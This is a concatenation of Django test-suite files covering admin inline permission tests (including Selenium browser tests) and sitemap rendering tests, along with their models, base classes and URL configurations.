        inner2 = Inner2.objects.create(dummy=42, holder=holder)
        self.holder_change_url = reverse('admin:admin_inlines_holder2_change', args=(holder.id,))
        self.inner2_id = inner2.id

        self.client.force_login(self.user)

    def test_inline_add_m2m_noperm(self):
        response = self.client.get(reverse('admin:admin_inlines_author_add'))
        # No change permission on books, so no inline
        self.assertNotContains(response, '<h2>Author-book relationships</h2>')
        self.assertNotContains(response, 'Add another Author-Book Relationship')
        self.assertNotContains(response, 'id="id_Author_books-TOTAL_FORMS"')

    def test_inline_add_fk_noperm(self):
        response = self.client.get(reverse('admin:admin_inlines_holder2_add'))
        # No permissions on Inner2s, so no inline
        self.assertNotContains(response, '<h2>Inner2s</h2>')
        self.assertNotContains(response, 'Add another Inner2')
        self.assertNotContains(response, 'id="id_inner2_set-TOTAL_FORMS"')

    def test_inline_change_m2m_noperm(self):
        response = self.client.get(self.author_change_url)
        # No change permission on books, so no inline
        self.assertNotContains(response, '<h2>Author-book relationships</h2>')
        self.assertNotContains(response, 'Add another Author-Book Relationship')
        self.assertNotContains(response, 'id="id_Author_books-TOTAL_FORMS"')

    def test_inline_change_fk_noperm(self):
        response = self.client.get(self.holder_change_url)
        # No permissions on Inner2s, so no inline
        self.assertNotContains(response, '<h2>Inner2s</h2>')
        self.assertNotContains(response, 'Add another Inner2')
        self.assertNotContains(response, 'id="id_inner2_set-TOTAL_FORMS"')

    def test_inline_add_m2m_add_perm(self):
        permission = Permission.objects.get(codename='add_book', content_type=self.book_ct)
        self.user.user_permissions.add(permission)
        response = self.client.get(reverse('admin:admin_inlines_author_add'))
        # No change permission on Books, so no inline
        self.assertNotContains(response, '<h2>Author-book relationships</h2>')
        self.assertNotContains(response, 'Add another Author-Book Relationship')
        self.assertNotContains(response, 'id="id_Author_books-TOTAL_FORMS"')

    def test_inline_add_fk_add_perm(self):
        permission = Permission.objects.get(codename='add_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        response = self.client.get(reverse('admin:admin_inlines_holder2_add'))
        # Add permission on inner2s, so we get the inline
        self.assertContains(response, '<h2>Inner2s</h2>')
        self.assertContains(response, 'Add another Inner2')
        self.assertContains(response, '<input type="hidden" id="id_inner2_set-TOTAL_FORMS" '
                            'value="3" name="inner2_set-TOTAL_FORMS" />', html=True)

    def test_inline_change_m2m_add_perm(self):
        permission = Permission.objects.get(codename='add_book', content_type=self.book_ct)
        self.user.user_permissions.add(permission)
        response = self.client.get(self.author_change_url)
        # No change permission on books, so no inline
        self.assertNotContains(response, '<h2>Author-book relationships</h2>')
        self.assertNotContains(response, 'Add another Author-Book Relationship')
        self.assertNotContains(response, 'id="id_Author_books-TOTAL_FORMS"')
        self.assertNotContains(response, 'id="id_Author_books-0-DELETE"')

    def test_inline_change_m2m_change_perm(self):
        permission = Permission.objects.get(codename='change_book', content_type=self.book_ct)
        self.user.user_permissions.add(permission)
        response = self.client.get(self.author_change_url)
        # We have change perm on books, so we can add/change/delete inlines
        self.assertContains(response, '<h2>Author-book relationships</h2>')
        self.assertContains(response, 'Add another Author-book relationship')
        self.assertContains(response, '<input type="hidden" id="id_Author_books-TOTAL_FORMS" '
                            'value="4" name="Author_books-TOTAL_FORMS" />', html=True)
        self.assertContains(
            response,
            '<input type="hidden" id="id_Author_books-0-id" value="%i" '
            'name="Author_books-0-id" />' % self.author_book_auto_m2m_intermediate_id,
            html=True
        )
        self.assertContains(response, 'id="id_Author_books-0-DELETE"')

    def test_inline_change_fk_add_perm(self):
        permission = Permission.objects.get(codename='add_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        response = self.client.get(self.holder_change_url)
        # Add permission on inner2s, so we can add but not modify existing
        self.assertContains(response, '<h2>Inner2s</h2>')
        self.assertContains(response, 'Add another Inner2')
        # 3 extra forms only, not the existing instance form
        self.assertContains(
            response,
            '<input type="hidden" id="id_inner2_set-TOTAL_FORMS" value="3" '
            'name="inner2_set-TOTAL_FORMS" />',
            html=True
        )
        self.assertNotContains(
            response,
            '<input type="hidden" id="id_inner2_set-0-id" value="%i" name="inner2_set-0-id" />' % self.inner2_id,
            html=True
        )

    def test_inline_change_fk_change_perm(self):
        permission = Permission.objects.get(codename='change_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        response = self.client.get(self.holder_change_url)
        # Change permission on inner2s, so we can change existing but not add new
        self.assertContains(response, '<h2>Inner2s</h2>')
        # Just the one form for existing instances
        self.assertContains(
            response, '<input type="hidden" id="id_inner2_set-TOTAL_FORMS" value="1" name="inner2_set-TOTAL_FORMS" />',
            html=True
        )
        self.assertContains(
            response,
            '<input type="hidden" id="id_inner2_set-0-id" value="%i" name="inner2_set-0-id" />' % self.inner2_id,
            html=True
        )
        # max-num 0 means we can't add new ones
        self.assertContains(
            response,
            '<input type="hidden" id="id_inner2_set-MAX_NUM_FORMS" value="0" name="inner2_set-MAX_NUM_FORMS" />',
            html=True
        )

    def test_inline_change_fk_add_change_perm(self):
        permission = Permission.objects.get(codename='add_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='change_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        response = self.client.get(self.holder_change_url)
        # Add/change perm, so we can add new and change existing
        self.assertContains(response, '<h2>Inner2s</h2>')
        # One form for existing instance and three extra for new
        self.assertContains(
            response, '<input type="hidden" id="id_inner2_set-TOTAL_FORMS" value="4" name="inner2_set-TOTAL_FORMS" />',
            html=True
        )
        self.assertContains(
            response,
            '<input type="hidden" id="id_inner2_set-0-id" value="%i" name="inner2_set-0-id" />' % self.inner2_id,
            html=True
        )

    def test_inline_change_fk_change_del_perm(self):
        permission = Permission.objects.get(codename='change_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='delete_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        response = self.client.get(self.holder_change_url)
        # Change/delete perm on inner2s, so we can change/delete existing
        self.assertContains(response, '<h2>Inner2s</h2>')
        # One form for existing instance only, no new
        self.assertContains(
            response,
            '<input type="hidden" id="id_inner2_set-TOTAL_FORMS" value="1" name="inner2_set-TOTAL_FORMS" />',
            html=True
        )
        self.assertContains(
            response,
            '<input type="hidden" id="id_inner2_set-0-id" value="%i" name="inner2_set-0-id" />' % self.inner2_id,
            html=True
        )
        self.assertContains(response, 'id="id_inner2_set-0-DELETE"')

    def test_inline_change_fk_all_perms(self):
        permission = Permission.objects.get(codename='add_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='change_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        permission = Permission.objects.get(codename='delete_inner2', content_type=self.inner_ct)
        self.user.user_permissions.add(permission)
        response = self.client.get(self.holder_change_url)
        # All perms on inner2s, so we can add/change/delete
        self.assertContains(response, '<h2>Inner2s</h2>')
        # One form for existing instance only, three for new
        self.assertContains(
            response,
            '<input type="hidden" id="id_inner2_set-TOTAL_FORMS" value="4" name="inner2_set-TOTAL_FORMS" />',
            html=True
        )
        self.assertContains(
            response,
            '<input type="hidden" id="id_inner2_set-0-id" value="%i" name="inner2_set-0-id" />' % self.inner2_id,
            html=True
        )
        self.assertContains(response, 'id="id_inner2_set-0-DELETE"')


@override_settings(ROOT_URLCONF='admin_inlines.urls')
class SeleniumTests(AdminSeleniumTestCase):

    available_apps = ['admin_inlines'] + AdminSeleniumTestCase.available_apps

    def setUp(self):
        User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def test_add_stackeds(self):
        """
        Ensure that the "Add another XXX" link correctly adds items to the
        stacked formset.
        """
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_holder4_add'))

        inline_id = '#inner4stacked_set-group'

        def rows_length():
            return len(self.selenium.find_elements_by_css_selector('%s .dynamic-inner4stacked_set' % inline_id))
        self.assertEqual(rows_length(), 3)

        add_button = self.selenium.find_element_by_link_text(
            'Add another Inner4 stacked')
        add_button.click()

        self.assertEqual(rows_length(), 4)

    def test_delete_stackeds(self):
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_holder4_add'))

        inline_id = '#inner4stacked_set-group'

        def rows_length():
            return len(self.selenium.find_elements_by_css_selector('%s .dynamic-inner4stacked_set' % inline_id))
        self.assertEqual(rows_length(), 3)

        add_button = self.selenium.find_element_by_link_text(
            'Add another Inner4 stacked')
        add_button.click()
        add_button.click()

        self.assertEqual(rows_length(), 5, msg="sanity check")
        for delete_link in self.selenium.find_elements_by_css_selector('%s .inline-deletelink' % inline_id):
            delete_link.click()
        self.assertEqual(rows_length(), 3)

    def test_add_inlines(self):
        """
        Ensure that the "Add another XXX" link correctly adds items to the
        inline form.
        """
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_profilecollection_add'))

        # Check that there's only one inline to start with and that it has the
        # correct ID.
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set')), 1)
        self.assertEqual(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set')[0].get_attribute('id'),
            'profile_set-0')
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set#profile_set-0 input[name=profile_set-0-first_name]')), 1)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set#profile_set-0 input[name=profile_set-0-last_name]')), 1)

        # Add an inline
        self.selenium.find_element_by_link_text('Add another Profile').click()

        # Check that the inline has been added, that it has the right id, and
        # that it contains the right fields.
        self.assertEqual(len(self.selenium.find_elements_by_css_selector('.dynamic-profile_set')), 2)
        self.assertEqual(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set')[1].get_attribute('id'), 'profile_set-1')
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set#profile_set-1 input[name=profile_set-1-first_name]')), 1)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set#profile_set-1 input[name=profile_set-1-last_name]')), 1)

        # Let's add another one to be sure
        self.selenium.find_element_by_link_text('Add another Profile').click()
        self.assertEqual(len(self.selenium.find_elements_by_css_selector('.dynamic-profile_set')), 3)
        self.assertEqual(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set')[2].get_attribute('id'), 'profile_set-2')
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set#profile_set-2 input[name=profile_set-2-first_name]')), 1)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            '.dynamic-profile_set#profile_set-2 input[name=profile_set-2-last_name]')), 1)

        # Enter some data and click 'Save'
        self.selenium.find_element_by_name('profile_set-0-first_name').send_keys('0 first name 1')
        self.selenium.find_element_by_name('profile_set-0-last_name').send_keys('0 last name 2')
        self.selenium.find_element_by_name('profile_set-1-first_name').send_keys('1 first name 1')
        self.selenium.find_element_by_name('profile_set-1-last_name').send_keys('1 last name 2')
        self.selenium.find_element_by_name('profile_set-2-first_name').send_keys('2 first name 1')
        self.selenium.find_element_by_name('profile_set-2-last_name').send_keys('2 last name 2')

        self.selenium.find_element_by_xpath('//input[@value="Save"]').click()
        self.wait_page_loaded()

        # Check that the objects have been created in the database
        self.assertEqual(ProfileCollection.objects.all().count(), 1)
        self.assertEqual(Profile.objects.all().count(), 3)

    def test_delete_inlines(self):
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_profilecollection_add'))

        # Add a few inlines
        self.selenium.find_element_by_link_text('Add another Profile').click()
        self.selenium.find_element_by_link_text('Add another Profile').click()
        self.selenium.find_element_by_link_text('Add another Profile').click()
        self.selenium.find_element_by_link_text('Add another Profile').click()
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            '#profile_set-group table tr.dynamic-profile_set')), 5)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-0')), 1)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-1')), 1)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-2')), 1)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-3')), 1)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-4')), 1)

        # Click on a few delete buttons
        self.selenium.find_element_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-1 td.delete a').click()
        self.selenium.find_element_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-2 td.delete a').click()
        # Verify that they're gone and that the IDs have been re-sequenced
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            '#profile_set-group table tr.dynamic-profile_set')), 3)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-0')), 1)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-1')), 1)
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            'form#profilecollection_form tr.dynamic-profile_set#profile_set-2')), 1)

    def test_alternating_rows(self):
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_profilecollection_add'))

        # Add a few inlines
        self.selenium.find_element_by_link_text('Add another Profile').click()
        self.selenium.find_element_by_link_text('Add another Profile').click()

        row_selector = 'form#profilecollection_form tr.dynamic-profile_set'
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            "%s.row1" % row_selector)), 2, msg="Expect two row1 styled rows")
        self.assertEqual(len(self.selenium.find_elements_by_css_selector(
            "%s.row2" % row_selector)), 1, msg="Expect one row2 styled row")

    def test_collapsed_inlines(self):
        # Collapsed inlines have SHOW/HIDE links.
        self.admin_login(username='super', password='secret')
        self.selenium.get(self.live_server_url + reverse('admin:admin_inlines_author_add'))
        # One field is in a stacked inline, other in a tabular one.
        test_fields = ['#id_nonautopkbook_set-0-title', '#id_nonautopkbook_set-2-0-title']
        show_links = self.selenium.find_elements_by_link_text('SHOW')
        self.assertEqual(len(show_links), 2)
        for show_index, field_name in enumerate(test_fields, 0):
            self.wait_until_invisible(field_name)
            show_links[show_index].click()
            self.wait_until_visible(field_name)
        hide_links = self.selenium.find_elements_by_link_text('HIDE')
        self.assertEqual(len(hide_links), 2)
        for hide_index, field_name in enumerate(test_fields, 0):
            self.wait_until_visible(field_name)
            hide_links[hide_index].click()
            self.wait_until_invisible(field_name)






from django.db import models
from django.urls import reverse


class TestModel(models.Model):
    name = models.CharField(max_length=100)

    def get_absolute_url(self):
        return '/testmodel/%s/' % self.id


class I18nTestModel(models.Model):
    name = models.CharField(max_length=100)

    def get_absolute_url(self):
        return reverse('i18n_testmodel', args=[self.id])






from __future__ import unicode_literals

from datetime import date

from django.test import override_settings

from .base import SitemapTestsBase


@override_settings(ROOT_URLCONF='sitemaps_tests.urls.https')
class HTTPSSitemapTests(SitemapTestsBase):
    protocol = 'https'

    def test_secure_sitemap_index(self):
        "A secure sitemap index can be rendered"
        response = self.client.get('/secure/index.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<sitemap><loc>%s/secure/sitemap-simple.xml</loc></sitemap>
</sitemapindex>
""" % self.base_url
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    def test_secure_sitemap_section(self):
        "A secure sitemap section can be rendered"
        response = self.client.get('/secure/sitemap-simple.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>%s/location/</loc><lastmod>%s</lastmod><changefreq>never</changefreq><priority>0.5</priority></url>
</urlset>
""" % (self.base_url, date.today())
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)


@override_settings(SECURE_PROXY_SSL_HEADER=False)
class HTTPSDetectionSitemapTests(SitemapTestsBase):
    extra = {'wsgi.url_scheme': 'https'}

    def test_sitemap_index_with_https_request(self):
        "A sitemap index requested in HTTPS is rendered with HTTPS links"
        response = self.client.get('/simple/index.xml', **self.extra)
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<sitemap><loc>%s/simple/sitemap-simple.xml</loc></sitemap>
</sitemapindex>
""" % self.base_url.replace('http://', 'https://')
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    def test_sitemap_section_with_https_request(self):
        "A sitemap section requested in HTTPS is rendered with HTTPS links"
        response = self.client.get('/simple/sitemap-simple.xml', **self.extra)
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>%s/location/</loc><lastmod>%s</lastmod><changefreq>never</changefreq><priority>0.5</priority></url>
</urlset>
""" % (self.base_url.replace('http://', 'https://'), date.today())
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)






from django.apps import apps
from django.contrib.sites.models import Site
from django.core.cache import cache
from django.test import TestCase, modify_settings, override_settings

from .models import I18nTestModel, TestModel


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.sitemaps'})
@override_settings(ROOT_URLCONF='sitemaps_tests.urls.http')
class SitemapTestsBase(TestCase):
    protocol = 'http'
    sites_installed = apps.is_installed('django.contrib.sites')
    domain = 'example.com' if sites_installed else 'testserver'

    def setUp(self):
        self.base_url = '%s://%s' % (self.protocol, self.domain)
        cache.clear()
        # Create an object for sitemap content.
        TestModel.objects.create(name='Test Object')
        self.i18n_model = I18nTestModel.objects.create(name='Test Object')

    @classmethod
    def setUpClass(cls):
        super(SitemapTestsBase, cls).setUpClass()
        # This cleanup is necessary because contrib.sites cache
        # makes tests interfere with each other, see #11505
        Site.objects.clear_cache()












from __future__ import unicode_literals

import os
from datetime import date
from unittest import skipUnless

from django.apps import apps
from django.conf import settings
from django.contrib.sitemaps import GenericSitemap, Sitemap
from django.contrib.sites.models import Site
from django.core.exceptions import ImproperlyConfigured
from django.test import modify_settings, override_settings
from django.utils._os import upath
from django.utils.formats import localize
from django.utils.translation import activate, deactivate

from .base import SitemapTestsBase
from .models import TestModel


class HTTPSitemapTests(SitemapTestsBase):

    def test_simple_sitemap_index(self):
        "A simple sitemap index can be rendered"
        response = self.client.get('/simple/index.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<sitemap><loc>%s/simple/sitemap-simple.xml</loc></sitemap>
</sitemapindex>
""" % self.base_url
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(os.path.dirname(upath(__file__)), 'templates')],
    }])
    def test_simple_sitemap_custom_index(self):
        "A simple sitemap index can be rendered with a custom template"
        response = self.client.get('/simple/custom-index.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<!-- This is a customised template -->
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<sitemap><loc>%s/simple/sitemap-simple.xml</loc></sitemap>
</sitemapindex>
""" % self.base_url
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    def test_simple_sitemap_section(self):
        "A simple sitemap section can be rendered"
        response = self.client.get('/simple/sitemap-simple.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>%s/location/</loc><lastmod>%s</lastmod><changefreq>never</changefreq><priority>0.5</priority></url>
</urlset>
""" % (self.base_url, date.today())
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    def test_simple_sitemap(self):
        "A simple sitemap can be rendered"
        response = self.client.get('/simple/sitemap.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>%s/location/</loc><lastmod>%s</lastmod><changefreq>never</changefreq><priority>0.5</priority></url>
</urlset>
""" % (self.base_url, date.today())
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    @override_settings(TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(os.path.dirname(upath(__file__)), 'templates')],
    }])
    def test_simple_custom_sitemap(self):
        "A simple sitemap can be rendered with a custom template"
        response = self.client.get('/simple/custom-sitemap.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<!-- This is a customised template -->
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>%s/location/</loc><lastmod>%s</lastmod><changefreq>never</changefreq><priority>0.5</priority></url>
</urlset>
""" % (self.base_url, date.today())
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    def test_sitemap_last_modified(self):
        "Tests that Last-Modified header is set correctly"
        response = self.client.get('/lastmod/sitemap.xml')
        self.assertEqual(response['Last-Modified'], 'Wed, 13 Mar 2013 10:00:00 GMT')

    def test_sitemap_last_modified_date(self):
        """
        The Last-Modified header should be support dates (without time).
        """
        response = self.client.get('/lastmod/date-sitemap.xml')
        self.assertEqual(response['Last-Modified'], 'Wed, 13 Mar 2013 00:00:00 GMT')

    def test_sitemap_last_modified_tz(self):
        """
        The Last-Modified header should be converted from timezone aware dates
        to GMT.
        """
        response = self.client.get('/lastmod/tz-sitemap.xml')
        self.assertEqual(response['Last-Modified'], 'Wed, 13 Mar 2013 15:00:00 GMT')

    def test_sitemap_last_modified_missing(self):
        "Tests that Last-Modified header is missing when sitemap has no lastmod"
        response = self.client.get('/generic/sitemap.xml')
        self.assertFalse(response.has_header('Last-Modified'))

    def test_sitemap_last_modified_mixed(self):
        "Tests that Last-Modified header is omitted when lastmod not on all items"
        response = self.client.get('/lastmod-mixed/sitemap.xml')
        self.assertFalse(response.has_header('Last-Modified'))

    def test_sitemaps_lastmod_mixed_ascending_last_modified_missing(self):
        """
        The Last-Modified header is omitted when lastmod isn't found in all
        sitemaps. Test sitemaps are sorted by lastmod in ascending order.
        """
        response = self.client.get('/lastmod-sitemaps/mixed-ascending.xml')
        self.assertFalse(response.has_header('Last-Modified'))

    def test_sitemaps_lastmod_mixed_descending_last_modified_missing(self):
        """
        The Last-Modified header is omitted when lastmod isn't found in all
        sitemaps. Test sitemaps are sorted by lastmod in descending order.
        """
        response = self.client.get('/lastmod-sitemaps/mixed-descending.xml')
        self.assertFalse(response.has_header('Last-Modified'))

    def test_sitemaps_lastmod_ascending(self):
        """
        The Last-Modified header is set to the most recent sitemap lastmod.
        Test sitemaps are sorted by lastmod in ascending order.
        """
        response = self.client.get('/lastmod-sitemaps/ascending.xml')
        self.assertEqual(response['Last-Modified'], 'Sat, 20 Apr 2013 05:00:00 GMT')

    def test_sitemaps_lastmod_descending(self):
        """
        The Last-Modified header is set to the most recent sitemap lastmod.
        Test sitemaps are sorted by lastmod in descending order.
        """
        response = self.client.get('/lastmod-sitemaps/descending.xml')
        self.assertEqual(response['Last-Modified'], 'Sat, 20 Apr 2013 05:00:00 GMT')

    @skipUnless(settings.USE_I18N, "Internationalization is not enabled")
    @override_settings(USE_L10N=True)
    def test_localized_priority(self):
        "The priority value should not be localized (Refs #14164)"
        activate('fr')
        self.assertEqual('0,3', localize(0.3))

        # Retrieve the sitemap. Check that priorities
        # haven't been rendered in localized format
        response = self.client.get('/simple/sitemap.xml')
        self.assertContains(response, '<priority>0.5</priority>')
        self.assertContains(response, '<lastmod>%s</lastmod>' % date.today())
        deactivate()

    @modify_settings(INSTALLED_APPS={'remove': 'django.contrib.sites'})
    def test_requestsite_sitemap(self):
        # Make sure hitting the flatpages sitemap without the sites framework
        # installed doesn't raise an exception.
        response = self.client.get('/simple/sitemap.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>http://testserver/location/</loc><lastmod>%s</lastmod><changefreq>never</changefreq><priority>0.5</priority></url>
</urlset>
""" % date.today()
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    @skipUnless(apps.is_installed('django.contrib.sites'),
                "django.contrib.sites app not installed.")
    def test_sitemap_get_urls_no_site_1(self):
        """
        Check we get ImproperlyConfigured if we don't pass a site object to
        Sitemap.get_urls and no Site objects exist
        """
        Site.objects.all().delete()
        with self.assertRaises(ImproperlyConfigured):
            Sitemap().get_urls()

    @modify_settings(INSTALLED_APPS={'remove': 'django.contrib.sites'})
    def test_sitemap_get_urls_no_site_2(self):
        """
        Check we get ImproperlyConfigured when we don't pass a site object to
        Sitemap.get_urls if Site objects exists, but the sites framework is not
        actually installed.
        """
        with self.assertRaises(ImproperlyConfigured):
            Sitemap().get_urls()

    def test_sitemap_item(self):
        """
        Check to make sure that the raw item is included with each
        Sitemap.get_url() url result.
        """
        test_sitemap = GenericSitemap({'queryset': TestModel.objects.order_by('pk').all()})

        def is_testmodel(url):
            return isinstance(url['item'], TestModel)
        item_in_url_info = all(map(is_testmodel, test_sitemap.get_urls()))
        self.assertTrue(item_in_url_info)

    def test_cached_sitemap_index(self):
        """
        Check that a cached sitemap index can be rendered (#2713).
        """
        response = self.client.get('/cached/index.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<sitemap><loc>%s/cached/sitemap-simple.xml</loc></sitemap>
</sitemapindex>
""" % self.base_url
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    def test_x_robots_sitemap(self):
        response = self.client.get('/simple/index.xml')
        self.assertEqual(response['X-Robots-Tag'], 'noindex, noodp, noarchive')

        response = self.client.get('/simple/sitemap.xml')
        self.assertEqual(response['X-Robots-Tag'], 'noindex, noodp, noarchive')

    def test_empty_sitemap(self):
        response = self.client.get('/empty/sitemap.xml')
        self.assertEqual(response.status_code, 200)

    @override_settings(LANGUAGES=(('en', 'English'), ('pt', 'Portuguese')))
    def test_simple_i18nsitemap_index(self):
        "A simple i18n sitemap index can be rendered"
        response = self.client.get('/simple/i18n.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>{0}/en/i18n/testmodel/{1}/</loc><changefreq>never</changefreq><priority>0.5</priority></url><url><loc>{0}/pt/i18n/testmodel/{1}/</loc><changefreq>never</changefreq><priority>0.5</priority></url>
</urlset>
""".format(self.base_url, self.i18n_model.pk)
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)

    def test_sitemap_without_entries(self):
        response = self.client.get('/sitemap-without-entries/sitemap.xml')
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">

</urlset>"""
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)






from __future__ import unicode_literals

from django.test import override_settings

from .base import SitemapTestsBase
from .models import TestModel


@override_settings(ABSOLUTE_URL_OVERRIDES={})
class GenericViewsSitemapTests(SitemapTestsBase):

    def test_generic_sitemap(self):
        "A minimal generic sitemap can be rendered"
        response = self.client.get('/generic/sitemap.xml')
        expected = ''
        for pk in TestModel.objects.values_list("id", flat=True):
            expected += "<url><loc>%s/testmodel/%s/</loc></url>" % (self.base_url, pk)
        expected_content = """<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
%s
</urlset>
""" % expected
        self.assertXMLEqual(response.content.decode('utf-8'), expected_content)






from django.conf.urls import url
from django.contrib.sitemaps import views

from .http import SimpleSitemap


class HTTPSSitemap(SimpleSitemap):
    protocol = 'https'

secure_sitemaps = {
    'simple': HTTPSSitemap,
}

urlpatterns = [
    url(r'^secure/index\.xml$', views.index, {'sitemaps': secure_sitemaps}),
    url(r'^secure/sitemap-(?P<section>.+)\.xml$', views.sitemap,
        {'sitemaps': secure_sitemaps},
        name='django.contrib.sitemaps.views.sitemap'),
]












from collections import OrderedDict
from datetime import date, datetime

from django.conf.urls import url
from django.conf.urls.i18n import i18n_patterns
from django.contrib.sitemaps import GenericSitemap, Sitemap, views
from django.http import HttpResponse
from django.utils import timezone
from django.views.decorators.cache import cache_page

from ..models import I18nTestModel, TestModel


class SimpleSitemap(Sitemap):
    changefreq = "never"
    priority = 0.5
    location = '/location/'
    lastmod = datetime.now()

    def items(self):
        return [object()]


class SimpleI18nSitemap(Sitemap):
    changefreq = "never"
    priority = 0.5
    i18n = True

    def items(self):
        return I18nTestModel.objects.order_by('pk').all()


class EmptySitemap(Sitemap):
    changefreq = "never"
    priority = 0.5
    location = '/location/'

    def items(self):
        return []


class FixedLastmodSitemap(SimpleSitemap):
    lastmod = datetime(2013, 3, 13, 10, 0, 0)


class FixedLastmodMixedSitemap(Sitemap):
    changefreq = "never"
    priority = 0.5
    location = '/location/'
    loop = 0

    def items(self):
        o1 = TestModel()
        o1.lastmod = datetime(2013, 3, 13, 10, 0, 0)
        o2 = TestModel()
        return [o1, o2]


class FixedNewerLastmodSitemap(SimpleSitemap):
    lastmod = datetime(2013, 4, 20, 5, 0, 0)


class DateSiteMap(SimpleSitemap):
    lastmod = date(2013, 3, 13)


class TimezoneSiteMap(SimpleSitemap):
    lastmod = datetime(2013, 3, 13, 10, 0, 0, tzinfo=timezone.get_fixed_timezone(-300))


def testmodelview(request, id):
    return HttpResponse()


simple_sitemaps = {
    'simple': SimpleSitemap,
}

